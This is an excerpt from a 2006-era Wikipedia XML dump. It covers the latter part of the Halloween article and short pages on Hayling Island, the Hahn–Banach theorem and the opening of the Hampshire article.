In [[Ireland]], great bonfires were lit throughout the breadth of the land. Young children in their guises were gladly received by the neighbors with some 'fruit, apples and nuts' for the 'Halloween Party', whilst older male siblings played innocent pranks on bewildered victims. 

In [[Scotland]], children or ''guisers'' are more likely to recite &quot;The sky is blue, the grass is green, may we have our Hallowe'en&quot; instead of &quot;trick or treat!&quot;. They visit neighbours in groups and must impress the members of the houses they visit with a song, poem, trick, joke or dance in order to earn their treats. Traditionally, nuts, oranges, apples and dried fruit were offered, though sometimes children would also earn a small amount of cash, usually a sixpence. Very small children often take part, for whom the experience of performing can be more terrifying than the ghosts outside.

Tricks play less of a role in modern Halloween, though Halloween night is often marked by vandalism such as soaping windows, egging houses or stringing toilet paper through trees.  Before indoor plumbing was so widespread, tipping over or displacing outhouses was a popular form of intimidation. Casting flour into the faces of feared neighbors was also done once upon a time.

Typical Halloween costumes have traditionally been monsters such as [[vampire]]s, [[ghost]]s, [[witch]]es, and [[devil]]s. In 19th-century Scotland and Ireland the reason for wearing such fearsome (and non-fearsome) costumes was the belief that since the spirits that were abroad that night were essentially intent on doing harm, the best way to avoid this was to fool the spirits into believing that you were one of them. In recent years, it has become common for costumes to be based on themes other than traditional horror, such as dressing up as a character from a [[TV show]] or [[film|movie]], or choosing a recognizable face from the public sphere, such as a politician (in 2004, for example, [[George W. Bush]] and [[John F. Kerry]] were both popular costumes in America). In 2001, after the [[September 11 attacks]], for example, costumes of [[firefighter]]s, [[police officer]]s, and United States [[military]] personnel became popular among children. In 2004, an estimated 2.15 million children in the United States were expected to dress up as [[Spider-Man]], the year's most popular costume. [http://www.nrf.com/content/default.asp?folder=press/release2004&amp;file=costumes1004.htm&amp;bhcp=1]

&quot;'Trick-or-Treat for [[UNICEF]]&quot; has become a common sight during Halloween in North America.  Started by UNICEF in 1950, the program involves the distribution of small boxes by schools to trick-or-treaters, in which they can solicit small change donations from the houses they visit.  It is estimated that children have collected more than $119 million for UNICEF since its inception. 

[[BIGresearch]] conducted a survey for the [[National Retail Federation]] in the US and found that 53.3% of consumers planned to buy a costume for Halloween 2005, spending $38.11 on average (up 10 dollars from last year). An estimate of $3.3 billion was made for the holiday spending.

A child usually &quot;grows out of&quot; trick-or-treating by his or her teenage years. Trick-or-treating by teenagers is accepted, but generally ridiculed with genial ribbing by those handing out candy. Teenagers and adults instead often celebrate Halloween with [[costume party|costume parties]], staying home to give out candy, listening to [[List_of_Halloween_songs|Halloween music]], or scaring people.

Visiting a [[Haunted house]] or a [[Dark Attraction]] are other Halloween traditions. Notwithstanding the name, such events are not necessarily held in houses, nor are the edifices themselves necessarily regarded to possess actual ghosts. A variant of this is the haunted trail, where the public encounters supernatural-themed characters or presentations of scenes from horror films while following a trail through a heavily wooded area or field. 

==Games and other activities==

There are several games traditionally associated with Halloween parties. The most common is dooking or [[bobbing for apples]], in which [[apple (fruit)|apple]]s float in a tub or a large basin of [[water]]; the participants must use their [[tooth|teeth]] to remove an apple from the basin. Another variant involves kneeling on a chair, holding a fork between the teeth and trying to drop the fork into them. Another common game involves hanging up [[treacle]] or [[syrup]]-coated [[scones]] by strings; these must be eaten without using hands while they remain attached to the string, an activity which inevitably leads to a very sticky face.

Some games traditionally played at Halloween are forms of [[divination]]. In [[Puicíní]] (pronounced &quot;pooch-eeny&quot;), a game played in Ireland, a blindfolded person is seated in front of a table on which several saucers are placed. The saucers are shuffled and the seated person then chooses one by touch. The contents of the saucer determine the person's life for the following year. A saucer containing earth means someone known to the player will die during the next year, a saucer containing water foretells travel, a coin means new wealth, a bean means poverty, etc. In 19th-century Ireland, young women placed slugs in saucers sprinkled with flour. The wriggling of the slugs and the patterns subsequently left behind on the saucers were believed to portray the faces of the women's future spouses.

In North America, unmarried women were frequently told that if they sat in a darkened room and gazed into a mirror on Halloween night, the face of their future husband would appear in the mirror. However, if they were destined to die before they married, a [[symbols of death|skull]] would appear. The custom was widespread enough to be commemorated on [[greeting card]]s from the late nineteenth century.

The telling of [[ghost stories]] and viewing of [[horror film]]s are common fixtures of Halloween parties. [[Television specials]] with a Halloween theme, usually aimed at children, are commonly aired on or before the holiday while new horror films are often released theatrically before the holiday to take advantage of the atmosphere.

==Foods==
{{main|Poisoned candy scare}}

[[Image:candy_apples.jpg|thumb|right|200px|Candy apples]]
Because the holiday comes in the wake of the annual apple harvest, [[Candy Apple]]s '' (also known as toffee, taffy or caramel apples) '' are a common treat at Halloween. They are made by rolling whole apples in a sticky sugar syrup, and sometimes then rolling them in nuts. At one time candy apples were a common treat given to children, but this practice rapidly waned after widespread rumors that some individuals were embedding items like pins and razor blades in the apples that they would pass out to children. While there is evidence of such incidents occurring they are very rare and have never resulted in any serious injuries. Nonetheless, many parents were under the assumption that the practice was common. At the peak of this hysteria, some hospitals were offering to x-ray children's Halloween haul at no cost in order to look for such items.  Almost all of the very few Halloween candy poisoning '' (as opposed to tainting) '' incidents on record involved parents who poisoned their own children's candy, while there are occasional reports of kids sticking needles in their own candy '' (and that of other children) '' more in an effort to get attention than cause any harm. Yet the paranoia has continued unabated mostly because of the news media's misinformation and tendency to exaggerate threats — especially when children are involved.

A Halloween custom which has survived unchanged to this day in Ireland is the baking '' (or more often nowadays the purchase) '' of a [[barmbrack]] '' (Irish &quot;báirín breac&quot;). '' This is a light [[fruit cake]] into which a plain ring is placed before baking. It is said that whoever finds this ring will find his or her true love during the following year.

Other foods associated with the holiday:
* [[candy corn]]
* [[bonfire toffee]] (in the UK)
* hot apple [[cider]]
* roasted [[pumpkin]] seeds
* &quot;fun-sized&quot; or individually wrapped pieces of small candy, typically in Halloween colors of orange, and brown/black.

==Cultural history==
{{main|History and folklore of Halloween}}

===Christian festival===

[[Pope Boniface IV]] established an anniversary dedicated to the [[Virgin Mary]] and the martyrs when he consecrated the [[Pantheon, Rome|Pantheon]] on [[May 13]], [[609]] (or 610). This Christian feast day was moved to November 1st from May 13th by [[Pope Gregory III]] in the [[eighth century]] in order to mark the dedication of the All Saints Chapel in Rome--establishing November 1st as All Saints Day and October 31st as All Hallows' Eve. Initially this change of date only applied to the diocese of Rome, but was extended to the rest of Christendom a century later by [[Pope Gregory IV]] in an effort to standardize liturgical worship.

The feast day of All Souls Day, celebrated to commemorate those souls condemned temporarily to [[Purgatory]], was inaugurated by [[St Odilo]], at the time the [[abbott]] of the influential [[monastery]] at [[Cluny]], as [[2 November]] in 998.

===Halloween's Origin:  Celtic observation of Samhain===

According to what can be reconstructed of the beliefs of the ancient Celts, the new year began around [[November 1]] or on a New Moon near that date, a day referred to in modern Gaelic as [[Samhain]] (&quot;Sow-in&quot; or alternatively &quot;Sa-ven&quot;, meaning: End of the Summer). Just as sundown meant the start of a new day, shorter days signified the start of the new year; therefore the harvest festival began every year on the night of preceding the autumn new year date. After the adoption of the Roman calendar with its fixed months, the date began to be celebrated independently of the Moon's phases.

As November 1 is the first day of the new year, the day also meant the beginning of Winter, which the Celts often associated with human death. The Celts also believed that on October 31 (the night before the new year), the boundary separating the dead from the living became blurred. (There is a rich and unusual myth system at work here; the spirit world, the residence of the &quot;Sidhe,&quot; as well as of the dead, was accessible through burial mounds. These mounds opened at two times during the year, making the beginning and end of Summer highly spiritually resonant.)

The Celts' survival during the cold harsh winters, depended on the prophecies of their priests or [[Druids]]. They believed that the presence of spirits would aid in the priests' abilities to make future predictions.  

The exact customs observed in each Celtic region differ, but they generally involved the lighting of bonfires and the reinforcement of boundaries, across which malicious spirits might cross and threaten the community.

Like most observances around this season, warmth and comfort were emphasized, indulgence was not. Stores of preserved food were needed to last through the winter, not for parties.

===Norse Elven Blót===

In the old [[Norse mythology|Norse religion]] an event believed to occur around the same time of the year as Halloween was the ''[[Blót#Elven blót|álfablót]]'' (elven ''[[blót]]''), which involved sacrifices to the [[Elf|elves]] and the blessing of food. The elves were powers connected to the ancestors, and it can be assumed that the blót related to a cult of the ancestors. The álfablót is also celebrated in the modern revival of Norse religion, [[Ásatrú]].

===Halloween customs===

Observance of Halloween faded in the South of England from the 17th century onwards, being replaced by the commemoration of the [[Gunpowder Plot]] on [[November 5]]. However it remained popular in Scotland, Ireland and the North of England. It is only in the last decade that it again became popular in the south of England, but as an entirely Americanized version.

The custom survives most accurately on the island of Ireland, where the last Monday of October is a public holiday. All schools close for the following week for mid-term, commonly called the Halloween Break. As a result Ireland and Northern Ireland are the only countries where children never have school on Halloween and are therefore free to celebrate it in the ancient and time-honored fashion. 

The custom of [[trick-or-treat]]ing is thought to have evolved from the European custom called souling, similar to the [[wassailing]] customs associated with [[Yule]]. On [[November 2]], [[All Souls' Day]], beggars would walk from village to village begging for &quot;soul cakes&quot; - square pieces of bread with currants. Christians would promise to say prayers on behalf of dead relatives helping the soul's passage to heaven. The distribution of soul cakes was encouraged by the church as a way to replace the ancient practice of leaving food and wine for roaming spirits at the Samhain. {{see|Puck (mythology)}}

In Celtic parts of western [[Brittany]], Samhain is still heralded by the baking of ''[[kornigou]].'' Kornigou are cakes baked in the shape of antlers to commemorate the god of winter shedding his &quot;cuckold&quot; horns as he returns to his kingdom in the [[Other World|Otherworld]].

In the [[Isle of Man]] where Halloween is known as [[Hop-tu-Naa]] children carry [[turnip|turnips]] in stead of [[pumpkin|pumkins]], and sing a song called ''Jinnie the Witch''.  

===&quot;Punkie Night&quot;===
&quot;Punkie Night&quot; is observed on the last Thursday in October in the village of Hinton St. George in the [[county]] of [[Somerset]] in [[England]]. On this night, children carry lanterns made from hollowed-out [[Mangold wurzel|mangel-wurzels]] (a kind of [[beet]]; in modern days, pumpkins are used) with faces carved into them. They bring these around the village, collecting money and singing the punkie song. ''Punkie'' is derived from [[pumpkin]] or ''punk'', meaning [[tinder]].

Though the custom is only attested over the last century, and the mangel-wurzel itself was introduced into English agriculture in the late 18th century, &quot;Punkie Night&quot; appears to be much older even than the fable that now accounts for it. The story goes that the wives of Hinton St. George went looking for their wayward husbands at the fair held nearby at Chiselborough, the last Thursday in October, but first hollowed out mangel wurzels in order to make lanterns to light their way. The drunken husbands saw the eerie lights, thought they were &quot;goolies&quot; (the restless spirits of children who had died before they were baptized), and fled in terror. Children carry the punkies now. The event has spread since about 1960 to the neighboring village of Chiselborough.

''Sources:'' on-line report from the ''Western Gazette'' and a ''National Geographic'' radio segment. Chiselborough Fair is memorialized by Fair Place in the village. ''The National Gazetteer of Great Britain and Ireland'' (1868) reported that there was &quot;a fair for horses and cattle on the last Thursday in October.&quot;

===&quot;Mischief Night&quot;===

The night before Halloween, known alternately [http://cfprod01.imt.uwm.edu/Dept/FLL/linguistics/dialect/staticmaps/q_110.html survey] as &quot;[[Devil's Night]]&quot;, &quot;Mischief Night&quot;, &quot;Mizzie Night&quot;, &quot;Gate Night&quot;, &quot;Cabbage Night&quot;, &quot;Mat Night&quot;, or &quot;Goosie Night&quot; is often associated with pranks or destructive activities performed by [[adolescent]]s. Some of the acts range from minor [[vandalism]] to [[theft]] (e.g. of door mats — thus the name &quot;Mat Night&quot; in some areas), or even [[arson]]. Many youths involved in mischief night would be considered too old for traditional [[trick-or-treating]]. The most common wrong-doing is &quot;T.P.ing&quot;, in which people's houses, lawns, and trees are covered in [[toilet paper]] streamers.

In parts of Northern England, &quot;Mischievous Night&quot; occurs on the 4th of November, the night before Bonfire Night(associated to Bonfire night because the last phases of the plot were coming together). It is celebrated in the same way, although minor vandalism often includes fireworks, which appear in shops in Britain around this time for legitimate reasons — to set off alongside bonfires on the following night.

==Religious viewpoints==
The majority of Christians ascribe no doctrinal significance to Halloween, treating it as a purely secular entity devoted to celebrating imaginary spooks and handing out candy. The secular celebration of Halloween may loom larger in contemporary imagination than does [[All Saints Day]].

The mingling of Christian and Pagan traditions in the development of Halloween, and its real or assumed preoccupation with evil and the supernatural, have left many modern Christians uncertain of how they should react towards the holiday. Some [[fundamentalist Christianity|fundamentalist]] and [[evangelicalism|evangelical]] along with many Eastern Orthodox Christians and Orthodox Jewish believers consider Halloween a pagan or [[Satanism|Satanic]] holiday, and refuse to allow their children to participate. In some areas, complaints from fundamentalist Christians that the schools were endorsing a pagan religion have led the schools to stop distributing [[UNICEF]] boxes at Halloween. Another response among conservative evangelicals in recent years has been the use of ''[[Hell house]]s'', which attempt make use of Halloween as an opportunity for evangelism.

Other Christians, however, continue to connect the holiday with All Saints Day. Some modern Christian churches commonly offer a fall festival or harvest-themed alternative to Halloween celebrations. Still other Christians hold the view that the holiday is not Satanic in origin or practice and that it holds no threat to the spiritual lives of children: being taught about [[death]] and mortality actually being a valuable life lesson.

==Further reading==
* Diane C. Arkins, ''Halloween: Romantic Art and Customs of Yesteryear'', Pelican Publishing Company (2000). 96 pages. ISBN 1565547128
* Diane C. Arkins, ''Halloween Merrymaking: An Illustrated Celebration Of Fun, Food, And Frolics From Halloweens Past'', Pelican Publishing Company (2004). 112 pages. ISBN 158980113X
* Phyllis Galembo, ''Dressed for Thrills: 100 Years of Halloween Costumes and Masquerade'', Harry N. Abrams (2002). 128 pages. ISBN 0810932911
* Jean Markale, ''The Pagan Mysteries of Halloween: Celebrating the Dark Half of the Year'' (translation of ''Halloween, histoire et traditions''), Inner Traditions (2001). 160 pages. ISBN 0892819006
* Lisa Morton, ''The Halloween Encyclopedia'', McFarland &amp; Company (2003). 240 pages. ISBN 078641524X
* Nicholas Rogers, ''Halloween: From Pagan Ritual to Party Night'', Oxford University Press (2002). 198 pages. ISBN 0195146913
* Jack Santino (ed.), ''Halloween and Other Festivals of Death and Life'', University of Tennessee Press (1994). 280 pages. ISBN 0870498134
* David J. Skal, ''Death Makes A Holiday: A Cultural History of Halloween'', Bloomsbury USA (2003). 224 pages. ISBN 1582343055

==See also==
*[[Korochun]]
*[[Poisoned candy scare]]
*[[Ghost Festival]]
*[[Halloween costume]]s
*[[Trick-or-treating]]
*[[St. Martin's Day]]
*[[Samhain]]
*[[Haunted house]]
*[[Dark Attraction]]
*[[Halloween (film)]]

==External links==
[[Image:NIH-preschool-halloween.jpg|right|250px|thumb|Preschoolers in Halloween costumes]]
*[http://allrecipes.com/advice/coll/entertain/features/halloween.asp Halloween Recipes] Complete collection of Halloween recipes and party tips.
*[http://www.wilsonsalmanac.com/halloween.html Halloween origins; Australian customs]
*[http://french.about.com/library/bl-halloweeninfrance.htm Halloween in France]
*[http://www.theopedia.com/Halloween Various Christian Views of Halloween from a conservative Calvinist perspective]
*[http://www.snopes.com/horrors/mayhem/needles.htm Snopes' Urban Legends reference page on the hysteria about pins and razor blades being found in Halloween candy]
*[http://paganwiccan.about.com/cs/aboutsamhain/a/halloween.htm Pagan / Wiccan statement on Halloween traditions]
*[http://www.nrf.com/content/default.asp?folder=press/release2005&amp;file=costumes0905.htm&amp;bhcp=1 National Retail Foundation statistics on Halloween]


[[category: Halloween| ]]

[[af:Halloween]]
[[bg:Хелоуин]]
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[[cy:Gŵyl Calan Gaeaf]]
[[da:Allehelgensaften]]
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[[es:Halloween]]
[[eo:Halloween]]
[[fa:هالووین]]
[[fr:Halloween]]
[[is:Hrekkjavaka]]
[[it:Halloween]]
[[he:ליל כל הקדושים]]
[[la:Pervigilium Omnium Sanctorum]]
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[[ja:ハロウィン]]
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[[pt:Dia das bruxas]]
[[ru:Хеллоуин]]
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[[th:วันฮาโลวีน]]
[[zh:萬聖節前夜]]</text>
    </revision>
  </page>
  <page>
    <title>Hapsburg</title>
    <id>13856</id>
    <revision>
      <id>36104510</id>
      <timestamp>2006-01-21T17:24:31Z</timestamp>
      <contributor>
        <username>JLaTondre</username>
        <id>394292</id>
      </contributor>
      <comment>restore redirect until there is content, the misspelling is very commin</comment>
      <text xml:space="preserve">#REDIRECT [[Habsburg]]</text>
    </revision>
  </page>
  <page>
    <title>History of Astronomy</title>
    <id>13857</id>
    <revision>
      <id>15911445</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[History of astronomy]]
</text>
    </revision>
  </page>
  <page>
    <title>Hayling Island</title>
    <id>13859</id>
    <revision>
      <id>39085670</id>
      <timestamp>2006-02-10T16:51:23Z</timestamp>
      <contributor>
        <username>Nlu</username>
        <id>350890</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.219.13.74|212.219.13.74]] ([[User talk:212.219.13.74|talk]]) to last version by 81.96.51.26</comment>
      <text xml:space="preserve">[[Image:Map of Hayling Island, England.png|thumb|220px|The coastline of Hayling Island. North is up.]]
{{GBthumb|127|225|SU722005}}
[[Image:HaylingIsland.jpg|thumb|280px|Beaches at Hayling Island.]]

'''Hayling Island''' is an [[island]] off the south coast of [[England]], in the county of [[Hampshire]]. It is twinned with [[Gorron]], [[Mayenne]], [[France]].

It is shaped like an inverted T, about 6.5 [[kilometer]]s (4 [[mile]]s) long and 6.5 kilometers wide. A single bridge connects its northern end to the mainland of [[Great Britain]]. A small passenger ferry connects it to the neighbouring island of [[Portsea]] where the city of [[Portsmouth]] is located. To the west is [[Langstone Harbour]] and to the east is [[Chichester Harbour]].

It is a well known holiday, [[windsurfing]] and [[sailing]] centre. In fact, Hayling Island is where [[windsurfing]] was invented. Originally it was thought to be an American invention, but after a court battle the title was given to Hayling Island. Sailing is massive on Hayling Island and is where many Olympic medal winners have raced.

In the past a small train connected the island to [[Langstone]], [[Havant]] and the main line (The [[Hayling Billy]] Line). [[Salt]] production was an [[industry]] on the island from the [[11th century]] (the [[Domesday Book]] recorded a [[saltpan]] on the island for this purpose) until the late [[19th century]].

At the northwest corner of the island lies the [[Hayling Oysterbeds]] [[Local Nature Reserve]].

== Population ==
{| border=&quot;1&quot;
! Population || Date
|- 
| ~300 || [[1086]] (Domesday Book)
|-
| 578 || [[1801]] ([[census]])
|- 
| &gt;1,600 || [[1901]]
|-
| &gt;5,500 || [[1950]]
|-
| 16,887 || [[2001]] (census, usually resident population)
|}

== Facts ==
*[[Latitude]]: 050 47N
*[[Longitude]]: 000 58W
*Area: [[1 E7 m²|30]] [[square kilometre|km²]] (11.6 square miles)


== List of Settlements ==
*[[Mengham]]
*[[Northney]]
*[[Eastoke]]
*[[West Town]]
*[[Sinah]]
*[[Sandy Point, Hayling Island|Sandy Point]]
*[[Ferry Point, England|Ferry Point]]
*[[Mill Rythe]]
*[[Tournerbury]]
*[[Stoke, Hayling Island|Stoke]]
*[[Tye]]

== Places of Interest ==
*[[Hayling Island Sailing Club]], Sandy Point (AKA Black Point)
*[[Northney Marina]]
*[[Sparkes Yacht Harbour]]
*[[Hayling Billy Trail]]
*[[Station Theatre]]
*[[Ham Field]]
*[[Seacourt Tennis Club]]
*[[St Marys Church]], Gable Head
*[[St Peters Church]], Northney
*The [[Kench]], near Ferry Point
*The [[RNLI]] Lifeboat station at Sandy Point

==External links==
*[http://www.hayling.co.uk Hayling.co.uk (local community website)]
*[http://www.hayling.hants.sch.uk/ The Hayling College]
*[http://www.hayling.co.uk/surfcam Hayling Surf Cam)]
*[http://www.haylinglifeboats.org.uk Sandy point RNLI Lifeboat Station)]
*[http://www.bird-watching.co.uk Bird Watching Hayling Island)]

[[Category:Hampshire]]
[[Category:Islands of England]]</text>
    </revision>
  </page>
  <page>
    <title>Hahn-Banach theorem</title>
    <id>13860</id>
    <revision>
      <id>38980853</id>
      <timestamp>2006-02-09T22:43:43Z</timestamp>
      <contributor>
        <username>Aegis Maelstrom</username>
        <id>137994</id>
      </contributor>
      <minor />
      <comment>+pl</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Hahn–Banach theorem''' is a central tool in [[functional analysis]]. It allows one to extend [[linear operator]]s defined on a subspace of some [[vector space]] to the whole space, and it also shows that there are &quot;enough&quot; [[continuous function (topology)|continuous]] linear functionals defined on every [[normed vector space]] to make the study of the [[dual space]] interesting. It is named for [[Hans Hahn]] and [[Stefan Banach]] who proved this theorem independently in the 1920s.

The most general formulation of the theorem needs some preparations. If ''V'' is a [[vector space]] over the scalar [[field (mathematics)|field]] '''K''' (which is either the [[real number|real numbers]]  '''R''' or the [[complex number|complex numbers]] '''C'''), we call a [[function (mathematics)|function]] ''N'' : ''V'' &amp;rarr; '''R''' ''[[sublinear function|sublinear]]'' if 
:''N''(''ax'' + ''by'') &amp;le; |''a''| ''N''(''x'') + |b| ''N''(''y'')
for all ''x'' and ''y'' in ''V'' and all scalars ''a'' and ''b'' in '''K'''. Every [[norm (mathematics)|norm]] on ''V'' is sublinear, but there are other examples.

The Hahn–Banach theorem states the following:
: Let ''N'' : ''V'' &amp;rarr; '''R''' be sublinear, let ''U'' be a [[Linear Algebra/Subspace|subspace]] of ''V'' and let &amp;phi; : ''U'' &amp;rarr; '''K''' be a [[linear transformation|linear functional]] such that |&amp;phi;(''x'')| &amp;le; ''N''(''x'') for all ''x'' in ''U''. Then  there exists a linear map &amp;psi; : ''V'' &amp;rarr; '''K''' which extends &amp;phi; (meaning &amp;psi;(''x'') = &amp;phi;(''x'') for all ''x'' in ''U'') and which is dominated by ''N'' on all of ''V'' (meaning |&amp;psi;(''x'')| &amp;le; ''N''(''x'') for all ''x'' in ''V'').

The extension &amp;psi; is in general not uniquely specified by &amp;phi; and the proof gives no method as to how to find &amp;psi;: in the case of an infinite dimensional space ''V'', it depends on [[Zorns lemma|Zorn's lemma]].

In fact, the sublinearity condition on ''N'' can be slightly relaxed: it suffices to assume that 
:''N''(''ax'' + ''by'') &amp;le; |''a''| ''N''(''x'') + |''b''| ''N''(''y'')
for all ''a'' and ''b'' in '''K''' with |''a''| + |''b''| = 1 (Reed and Simon, 1980).

Several important consequences of the theorem are also sometimes called &quot;Hahn–Banach theorem&quot;:
* If ''V'' is a normed vector space with subspace ''U'' (not necessarily closed) and if &amp;phi; : ''U'' &amp;rarr; '''K''' is continuous and linear, then there exists an extension &amp;psi; : ''V'' &amp;rarr; '''K''' of &amp;phi; which is also continuous and linear and which has the same norm as &amp;phi; (see [[Banach space]] for a discussion of the norm of a linear map).
* If ''V'' is a normed vector space with subspace ''U'' (not necessarily closed) and if ''z'' is an element of ''V'' not in the [[closure (topology)|closure]] of ''U'', then there exists a continuous linear map &amp;psi; : ''V'' &amp;rarr; '''K''' with &amp;psi;(''x'') = 0 for all ''x'' in ''U'', &amp;psi;(''z'') = 1, and ||&amp;psi;|| = ||''z''||&lt;sup&gt;&amp;minus;1&lt;/sup&gt;.

The [[Mizar system|Mizar project]] has completely formalized and automatically checked the proof of the Hahn–Banach theorem in the [http://mizar.uwb.edu.pl/JFM/Vol5/hahnban.html HAHNBAN file].

==References==

Lawrence Narici and Edward Beckenstein, 'The Hahn–Banach Theorem: The Life and Times', ''Topology and its Applications'', Volume 77, Issue 2 ([[3 June]] [[1997]]) Pages 193-211. An on-line preprint is available [http://at.yorku.ca/p/a/a/a/16.htm here]

Michael Reed and Barry Simon, ''Functional Analysis,'' Section III.3. Academic Press, San Diego, 1980. ISBN 0-12-585050-5.

[[Category:Functional analysis]]
[[Category:Mathematical theorems]]

[[de:Satz von Hahn-Banach]]
[[fr:Théorème de Hahn-Banach]]
[[it:Teorema di Hahn-Banach]]
[[he:משפט האן-בנך]]
[[pl:Twierdzenie Hahna-Banacha]]
[[ru:Теорема Хана — Банаха]]</text>
    </revision>
  </page>
  <page>
    <title>Hampshire</title>
    <id>13861</id>
    <revision>
      <id>41893027</id>
      <timestamp>2006-03-02T12:24:04Z</timestamp>
      <contributor>
        <username>Pstevenson</username>
        <id>36805</id>
      </contributor>
      <minor />
      <comment>/* Transport */  city -&gt; county</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin: 0 0 1em 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot;
|+ &lt;big&gt;'''Hampshire'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot; | [[Image:EnglandHampshire.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Geography
|-
! width=&quot;45%&quot; | Status
||[[Ceremonial counties of England|Ceremonial]] &amp; (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county
|-
!Region:
|[[South East England]]
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. area
|[[List of Ceremonial counties of England by Area|Ranked 9th]]&lt;br /&gt;[[1 E9 m²|3,769]] [[square kilometre|km&amp;sup2;]]&lt;br /&gt;[[List of Administrative shire counties of England by Area|Ranked 8th]]&lt;br /&gt;3,679 km&amp;sup2;
|-
!Admin HQ:
|[[Winchester]]
|-
![[ISO 3166-2:GB|ISO 3166-2]]:
|GB-HAM
|-
![[ONS coding system|ONS code]]:
|24
|-
![[Nomenclature of Territorial Units for Statistics|NUTS]] 3:
|UKJ33
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop.
|[[List of ceremonial counties of England by population|Ranked 5th]]&lt;br /&gt;1,663,000&lt;br /&gt;441 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 3rd]]&lt;br /&gt;1,253,300
|-
!Ethnicity:
|96.7% White&lt;br /&gt;1.3% S. Asian
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Politics
|-
|colspan=2 align=center|[[Image:arms-hants.jpg|200px|Arms of Hampshire County Council]]&lt;br/ &gt;Hampshire County Council&lt;br /&gt;http://www.hants.gov.uk/hcc/
|-
!Executive
|[[Conservative Party (UK)|Conservative]]
|-
! [[MPs elected in the UK general election, 2005|Members of Parliament]]
|
*[[James Arbuthnot]]
*[[John Yorke Denham|John Denham]]
*[[Sandra Gidley]]
*[[Mike Hancock]]
*[[Mark Hoban]]
*[[Gerald Howarth]]
*[[Chris Huhne]]
*[[Julian Lewis]]
*[[Michael Mates]]
*[[Sarah McCarthy-Fry]]
*[[Maria Miller]]
*[[Mark Oaten]]
*[[Desmond Swayne]]
*[[Peter Viggers]]
*[[Alan Whitehead]]
*[[David Willetts]]
*[[George Young (politician)|George Young]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Districts
|-
|colspan=2|&lt;center&gt;[[Image:Hampshire_Ceremonial_Numbered.png]]&lt;/center&gt;
#[[Gosport]]
#[[Fareham (borough)|Fareham]]
#[[Winchester (borough)|Winchester]]
#[[Havant]]
#[[East Hampshire]]
#[[Hart, Hampshire|Hart]]
#[[Rushmoor]]
#[[Basingstoke and Deane]]
#[[Test Valley]]
#[[Eastleigh (borough)|Eastleigh]]
#[[New Forest (district)|New Forest]]
#[[Southampton]] (Unitary)
#[[Portsmouth]] (Unitary)
|}
'''Hampshire''' (abbr. ''Hants'') is a [[Counties of England|county]] on the south coast of [[England]] in the [[United Kingdom]]. The county borders ''(clockwise from West)'', [[Dorset]], [[Wiltshire]], [[Berkshire]], [[Surrey]] and [[West Sussex]].  The county has an area of 1,455 [[square mile]]s (3,769 [[square kilometre|km&amp;sup2;]]) and at its widest points is approximately 55 miles (90 km) east-west and 40 miles (65 km) north-south. The [[county town]] is [[Winchester]] situated at {{coor dms|51|03|35|N|1|18|36|W|}}.  The [[United_Kingdom_Census_2001|2001 census]] gave the population of the administrative county as 1.24 million; the ceremonial county also includes the cities of [[Portsmouth]] and [[Southampton]], which are administratively independent, and has a total population of 1.6 million.

Hampshire is a popular holiday area, with tourist attractions including its many seaside resorts, the maritime area in Portsmouth, and the motor museum at [[Beaulieu, Hampshire|Beaulieu]]. The [[New Forest]] [[National Parks in England and Wales|National Park]] lies within the borders, as does a large area of the [[South Downs]], which is also scheduled to become a National Park.  Hampshire has a long maritime history and two of England's largest ports lie on its coast.  The county is famed as home of the writers [[Jane Austen]] and [[Charles Dickens]].

==Physical geography==
{{main|Geology of Hampshire}}
Hampshire's [[geology]] falls into two categories.  In the south, along the [[coast]] is the &quot;[[Hampshire Basin]]&quot;, an area of relatively [[resistance (geology)|non-resistant]] [[Eocene]] and [[Oligocene]] [[clay]]s and [[gravel]]s which are protected from [[sea]] [[erosion]] by the [[Isle of Purbeck]], Dorset, and the [[Isle of Wight]].  These low, flat lands support [[heathland]] and [[woodland]] [[habitat (ecology)|habitats]], a large area of which form part of the [[New Forest]].  The New Forest has a mosaic of heathland, grassland, coniferous and deciduous woodland habitats that host [[biodiversity|diverse wildlife]].  The forest is protected as a [[National parks of England and Wales|national park]], limiting development and agricultural use to protect the landscape and wildlife.  Large areas of the New Forest are open common lands kept as a grassland [[plagioclimax]] by grazing animals, including domesticated cattle, pigs and horses, and several wild deer species.  Erosion of the weak rock and sea level change flooding the low land has carved several large [[estuaries]] and [[ria]]s, notably the 12 mile (19 km) long [[Southampton Water]] and the large convoluted [[Portsmouth Harbour]].  The Isle of Wight lies off the coast of Hampshire where the non-resistant rock has been eroded away forming the [[Solent]].

